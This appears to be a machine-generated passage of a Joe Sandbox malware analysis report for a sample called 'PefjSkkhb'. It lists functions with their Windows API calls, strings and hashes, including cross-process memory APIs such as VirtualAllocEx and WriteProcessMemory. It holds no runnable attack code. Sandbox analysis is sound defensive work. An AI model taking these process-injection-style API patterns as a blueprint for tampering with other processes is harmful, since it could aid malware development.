CLSIDFromProgID.OLE32 ref: 00007FF7C0EBB771
ProgIDFromCLSID.OLE32 ref: 00007FF7C0EBB790
lstrcmpiW.KERNEL32 ref: 00007FF7C0EBB7A2
CoTaskMemFree.OLE32 ref: 00007FF7C0EBB7B4
CLSIDFromString.OLE32 ref: 00007FF7C0EBB7C2

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: c2625648870bea748c00488204de808f07a4ef133cb019afb6ef5a542de6e20a
Instruction ID: 483f07f6b12ed028c7724e6db4f7e73a915676a37c1f645f75af907ab6f1e4dd
Opcode Fuzzy Hash: c2625648870bea748c00488204de808f07a4ef133cb019afb6ef5a542de6e20a
Instruction Fuzzy Hash: 8B112E26648A5186E710BF26E41032AA3A4FF85BD4F984235DE4D87758CF6DE4818B64

Function 00007FF7C0EC2ED0 Relevance: 7.5, APIs: 5, Instructions: 37windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32 ref: 00007FF7C0EC2EEC
GetWindowTextW.USER32 ref: 00007FF7C0EC2F07
MessageBeep.USER32 ref: 00007FF7C0EC2F1C
KillTimer.USER32 ref: 00007FF7C0EC2F3F
EndDialog.USER32 ref: 00007FF7C0EC2F5F

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: 8c0ba02d18c33329f7d04451d21e8c8e2fc8c024a9545b6606e830f761915d0e
Instruction ID: b57739deefb7251c31c80e98425ddd6f07a51e81cb2287e9a197e77bf9cff569
Opcode Fuzzy Hash: 8c0ba02d18c33329f7d04451d21e8c8e2fc8c024a9545b6606e830f761915d0e
Instruction Fuzzy Hash: 7E11A921A0CA8681EB26BF24E444379A370FF44F58F848035DA8D96394DFBDE5C5C7A0

Function 00007FF7C0ECD7F8 Relevance: 7.5, APIs: 5, Instructions: 36sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32 ref: 00007FF7C0ECD811
QueryPerformanceFrequency.KERNEL32 ref: 00007FF7C0ECD820
Sleep.KERNEL32 ref: 00007FF7C0ECD828
QueryPerformanceCounter.KERNEL32 ref: 00007FF7C0ECD833
Sleep.KERNEL32 ref: 00007FF7C0ECD86E

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: e93a488e7ef773f4239d39afdac6f2cad4444a29d3dd75f0fed3b9e62e675ca8
Instruction ID: b0836961988aa8c91737ee2ae3c79a867b3096d8f6f9743870260aa965510ec0
Opcode Fuzzy Hash: e93a488e7ef773f4239d39afdac6f2cad4444a29d3dd75f0fed3b9e62e675ca8
Instruction Fuzzy Hash: 5801D422A0CA1242EF0ABF31A49503ED361BF95BB4B944239E10FD1761DF6EF4C5C6A0

Function 00007FF7C0ED0008 Relevance: 7.5, APIs: 5, Instructions: 33synchronizationthreadCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,00007FF7C0EB29AD,?,?,?,00007FF7C0E62AB2), ref: 00007FF7C0ED003C
TerminateThread.KERNEL32(?,?,?,00007FF7C0EB29AD,?,?,?,00007FF7C0E62AB2), ref: 00007FF7C0ED0047
WaitForSingleObject.KERNEL32(?,?,?,00007FF7C0EB29AD,?,?,?,00007FF7C0E62AB2), ref: 00007FF7C0ED0055
~SyncLockT.VCCORLIB ref: 00007FF7C0ED005E

Part of subcall function 00007FF7C0ECF7B8: CloseHandle.KERNEL32(?,?,?,00007FF7C0ED0063,?,?,?,00007FF7C0EB29AD,?,?,?,00007FF7C0E62AB2), ref: 00007FF7C0ECF7C9

LeaveCriticalSection.KERNEL32(?,?,?,00007FF7C0EB29AD,?,?,?,00007FF7C0E62AB2), ref: 00007FF7C0ED006A

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: CriticalSection$CloseEnterHandleLeaveLockObjectSingleSyncTerminateThreadWait
String ID:
API String ID: 3142591903-0
Opcode ID: ba6bd7e5b15845e6b6bdca5424b03e7aeaa25a678f545ea5128a0138939c9a9e
Instruction ID: debebd88ee926c97e68e05484dc8ff3ac75712c13a5d62b2aab0c1d01220c8a8
Opcode Fuzzy Hash: ba6bd7e5b15845e6b6bdca5424b03e7aeaa25a678f545ea5128a0138939c9a9e
Instruction Fuzzy Hash: 89014C3AA18B41D6E741EF15E44022EB360FB88B64F944431DB8D83B55CF3CE492C790

Function 00007FF7C0E522E8 Relevance: 7.5, APIs: 5, Instructions: 31COMMON

Download Yara Rule

APIs

EndPath.GDI32 ref: 00007FF7C0E52304
StrokeAndFillPath.GDI32 ref: 00007FF7C0E5231C
SelectObject.GDI32 ref: 00007FF7C0E52331
DeleteObject.GDI32 ref: 00007FF7C0E52346
StrokePath.GDI32 ref: 00007FF7C0E52366

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: c45599d3bc9fc7debef7ab567c3c0eb4022d53e70f819905b21d88790cde579c
Instruction ID: 148e3de9af79d6ee44703581a5d4b5b16290bb5a0dc6dd1a82ebb7066d36db66
Opcode Fuzzy Hash: c45599d3bc9fc7debef7ab567c3c0eb4022d53e70f819905b21d88790cde579c
Instruction Fuzzy Hash: 56015E2190CA4381F7557F50A984735A761BF05BB4F984934CD1D863A0CFBDB0D583A0

Function 00007FF7C0E81DA0 Relevance: 7.5, APIs: 5, Instructions: 31threadCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0E8B80C: GetLastError.KERNEL32 ref: 00007FF7C0E8B81B
Part of subcall function 00007FF7C0E8B80C: SetLastError.KERNEL32 ref: 00007FF7C0E8B885

ExitThread.KERNEL32 ref: 00007FF7C0E81DB8
ExitThread.KERNEL32 ref: 00007FF7C0E81DCD

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: ErrorExitLastThread
String ID:
API String ID: 1611280651-0
Opcode ID: 99fd53b48de60ad2b3b37300d72bcddb8f2580f530d7a1e219e10e2618182fab
Instruction ID: e006024a1d837dae0727ce351bbe9c9412191540980b5100b27dd227eb3ae6d4
Opcode Fuzzy Hash: 99fd53b48de60ad2b3b37300d72bcddb8f2580f530d7a1e219e10e2618182fab
Instruction Fuzzy Hash: 8A012C21B08A8692EB157F24954823CA265FF40F79F901734C63E827D5DF7CB8988390

Function 00007FF7C0EC03F8 Relevance: 7.5, APIs: 5, Instructions: 26threadCOMMON

Download Yara Rule

APIs

GetWindowThreadProcessId.USER32 ref: 00007FF7C0EC0414
GetCurrentThreadId.KERNEL32 ref: 00007FF7C0EC041C
GetWindowThreadProcessId.USER32 ref: 00007FF7C0EC042C
GetCurrentThreadId.KERNEL32 ref: 00007FF7C0EC0434
AttachThreadInput.USER32(?,?,?,00007FF7C0EBE921), ref: 00007FF7C0EC0441

Part of subcall function 00007FF7C0EC07A4: SendMessageTimeoutW.USER32 ref: 00007FF7C0EC07CA

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Thread$CurrentProcessWindow$AttachInputMessageSendTimeout
String ID:
API String ID: 179993514-0
Opcode ID: 3c9aaefa71688af513bcff76e9269722b622f20c654f000aa95846671475ad7f
Instruction ID: 9ddcab31ebb658d7f67aac314c092c77c4e93767206f8faa09f817037f1d349f
Opcode Fuzzy Hash: 3c9aaefa71688af513bcff76e9269722b622f20c654f000aa95846671475ad7f
Instruction Fuzzy Hash: 5DF03014F5C71282FB193FB5684827A93527F88B65FC45030CD1A92352DFAEB4D546A0

Function 00007FF7C0ECB5D4 Relevance: 7.5, APIs: 5, Instructions: 26threadCOMMON

Download Yara Rule

APIs

GetWindowThreadProcessId.USER32 ref: 00007FF7C0ECB5F0
GetCurrentThreadId.KERNEL32 ref: 00007FF7C0ECB5F8
GetWindowThreadProcessId.USER32 ref: 00007FF7C0ECB608
GetCurrentThreadId.KERNEL32 ref: 00007FF7C0ECB610
AttachThreadInput.USER32 ref: 00007FF7C0ECB61D

Part of subcall function 00007FF7C0ECCF30: SendMessageTimeoutW.USER32 ref: 00007FF7C0ECCF56

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Thread$CurrentProcessWindow$AttachInputMessageSendTimeout
String ID:
API String ID: 179993514-0
Opcode ID: e2ae8e70be2f5b84d83463abcc11da4b251e2e09d7ca6408d5f9779cbd984f2d
Instruction ID: e4a8f70f9a17e13bd181a85b0de27fb2c7271ca4c590a5e0be5b972ae6af4d96
Opcode Fuzzy Hash: e2ae8e70be2f5b84d83463abcc11da4b251e2e09d7ca6408d5f9779cbd984f2d
Instruction Fuzzy Hash: 01F03010F5C71242FB553F76A84827692527F48B69FC45030C90A92352DFAEB4D646E0

Function 00007FF7C0ED6D04 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 308comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 00007FF7C0ED6EBC
CoCreateInstance.OLE32 ref: 00007FF7C0ED6EDF
CoUninitialize.OLE32 ref: 00007FF7C0ED71B2

Strings

.lnk, xrefs: 00007FF7C0ED6D42, 00007FF7C0ED6DBD, 00007FF7C0ED6E68

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize
String ID: .lnk
API String ID: 948891078-24824748
Opcode ID: bb49a61337d89a9848f7780026d10ac62e6b3b39f2b5ab5deb7fc3459a4390ae
Instruction ID: ffd4e7d3fa4b552934b3e6a56028aec7d06797def8234cc288f63cc6943e9a10
Opcode Fuzzy Hash: bb49a61337d89a9848f7780026d10ac62e6b3b39f2b5ab5deb7fc3459a4390ae
Instruction Fuzzy Hash: EED1B572B58B5681EB10FF25D4902ADA760FB80B98F805431EE4E87B65EF3CE545C790

Function 00007FF7C0ED5F2C Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 300comCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0E556D4: GetFullPathNameW.KERNEL32(?,00007FF7C0E556C1,?,00007FF7C0E57A0C,?,?,?,00007FF7C0E5109E), ref: 00007FF7C0E556FF

CoInitialize.OLE32 ref: 00007FF7C0ED60A2
CoCreateInstance.OLE32 ref: 00007FF7C0ED60C5
CoUninitialize.OLE32 ref: 00007FF7C0ED60E3

Strings

.lnk, xrefs: 00007FF7C0ED5F94, 00007FF7C0ED5FE3, 00007FF7C0ED6090

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize
String ID: .lnk
API String ID: 3769357847-24824748
Opcode ID: e9a41c1307533edd4d22b0f8b30ca28bda216ecff893dec0b295dcafc10e7183
Instruction ID: eaf7c9e3b04ad3bac2898ebaa543fea1e910e39f8d2b11de8546bafa56ebd979
Opcode Fuzzy Hash: e9a41c1307533edd4d22b0f8b30ca28bda216ecff893dec0b295dcafc10e7183
Instruction Fuzzy Hash: BFD16C36B48B5685EB10FF66D0802AD77B4FB48B98B884432DE4D87BA5DF39E445C390

Function 00007FF7C0E90040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 205COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C0E902E4

Strings

UTF-8, xrefs: 00007FF7C0E90268
ccs, xrefs: 00007FF7C0E90229
UTF-16LEUNICODE, xrefs: 00007FF7C0E9028B

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: c3c6110ef47f8474b3aee38d103288009a94a732d54534d718fbbb8757739500
Instruction ID: 5bfdbcf9921fbd2f0808dbebf0b143690756fabbc2ecd21530dcc1be8cbbf553
Opcode Fuzzy Hash: c3c6110ef47f8474b3aee38d103288009a94a732d54534d718fbbb8757739500
Instruction Fuzzy Hash: 5B81C272E8D2028EFB647F1696443BDA6E0AF11764FC48035DA0ED3791DB2EF850D2A1

Function 00007FF7C0E7B1E8 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 150COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C0E7B211
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C0E7B3EE

Strings

, xrefs: 00007FF7C0E7B377
*, xrefs: 00007FF7C0E7B322

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: $*
API String ID: 3215553584-3982473090
Opcode ID: e1993591883a1ee4d578272befcf29134d05160a5f94b748d186053ef0cddf2b
Instruction ID: e3b74644c1d058b8d15ba65488878f64796e245b75eb6f590fc50251dd3b9edd
Opcode Fuzzy Hash: e1993591883a1ee4d578272befcf29134d05160a5f94b748d186053ef0cddf2b
Instruction Fuzzy Hash: 1161647298D2429AE765BF2C805C37CB7A0EB45B28F941135D64AC5399CF6CF481CFA1

Function 00007FF7C0E86148 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF7C0E86202

Strings

!, xrefs: 00007FF7C0E86237
acos, xrefs: 00007FF7C0E86215

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: _set_statfp
String ID: !$acos
API String ID: 1156100317-2870037509
Opcode ID: 0d89aa78777a41b63d954a76095aee346a1dbdd639e7adc8a9fc006d5894d638
Instruction ID: f4e42d1382cfbd67927e4f905e7418f189ef9f567b0fb7af1158045862390f30
Opcode Fuzzy Hash: 0d89aa78777a41b63d954a76095aee346a1dbdd639e7adc8a9fc006d5894d638
Instruction Fuzzy Hash: A361B821D2CF8584E223AF385861276D758BFA63E4F918336E91EB5B64DF1CB0824790

Function 00007FF7C0E86408 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 138COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF7C0E864BA

Strings

asin, xrefs: 00007FF7C0E864CD
!, xrefs: 00007FF7C0E864EF

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: _set_statfp
String ID: !$asin
API String ID: 1156100317-2188059690
Opcode ID: dda4458e7c1e859fb838f80da50bdd89987d805c8091ebd73b4f99c53429eb29
Instruction ID: cb4e5b9d67f5b4d746432695d59ca301a269af733d2134e4fc8bb4b955090d87
Opcode Fuzzy Hash: dda4458e7c1e859fb838f80da50bdd89987d805c8091ebd73b4f99c53429eb29
Instruction Fuzzy Hash: 1C61A621D1CF8185E253AF389811376D758BF963E4F908332E96EB5B65DF2CB0824790

Function 00007FF7C0EBEAC0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 127windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0EC96AC: WriteProcessMemory.KERNEL32 ref: 00007FF7C0EC96F7

SendMessageW.USER32 ref: 00007FF7C0EBEB35

Part of subcall function 00007FF7C0EC9660: ReadProcessMemory.KERNEL32 ref: 00007FF7C0EC969E

Part of subcall function 00007FF7C0EC9560: GetWindowThreadProcessId.USER32 ref: 00007FF7C0EC95A4
Part of subcall function 00007FF7C0EC9560: OpenProcess.KERNEL32(?,?,?,?,00000000,00007FF7C0EBE40A), ref: 00007FF7C0EC95B6
Part of subcall function 00007FF7C0EC9560: VirtualAllocEx.KERNEL32 ref: 00007FF7C0EC95DC

SendMessageW.USER32 ref: 00007FF7C0EBEBBD
SendMessageW.USER32 ref: 00007FF7C0EBEC17

Strings

@, xrefs: 00007FF7C0EBEC32

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: 8590b3572ee50005f206f958431262ef9082a01c97b701578a5c0a82d3af5d25
Instruction ID: 3894e7019747b6ccea7143c8650f8248db0879bea6027dc24e162f9abf2f5932
Opcode Fuzzy Hash: 8590b3572ee50005f206f958431262ef9082a01c97b701578a5c0a82d3af5d25
Instruction Fuzzy Hash: B551C27661868182D720EF52E4855AEFB60F7C8BA4F801135EE4E93B45DF7CE505CB50

Function 00007FF7C0ECA6BC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32 ref: 00007FF7C0ECA74D
DeleteMenu.USER32 ref: 00007FF7C0ECA799
DeleteMenu.USER32(?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF7C0ECA7E6

Strings

P, xrefs: 00007FF7C0ECA722

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Menu$Delete$InfoItem
String ID: P
API String ID: 135850232-3110715001
Opcode ID: 7a885196f2dcceb0a8221e88f5e4acf8149e86b4233e81131ef081c483961346
Instruction ID: c2897fd9eb71ba23fd55493ba322b6073f68f9abd5e23bd91d259aea27c42dbc
Opcode Fuzzy Hash: 7a885196f2dcceb0a8221e88f5e4acf8149e86b4233e81131ef081c483961346
Instruction Fuzzy Hash: DC41D522A44A9182EB21FF15C4443A9A760FB84FB4F998231EA2D837D1DF39F442C760

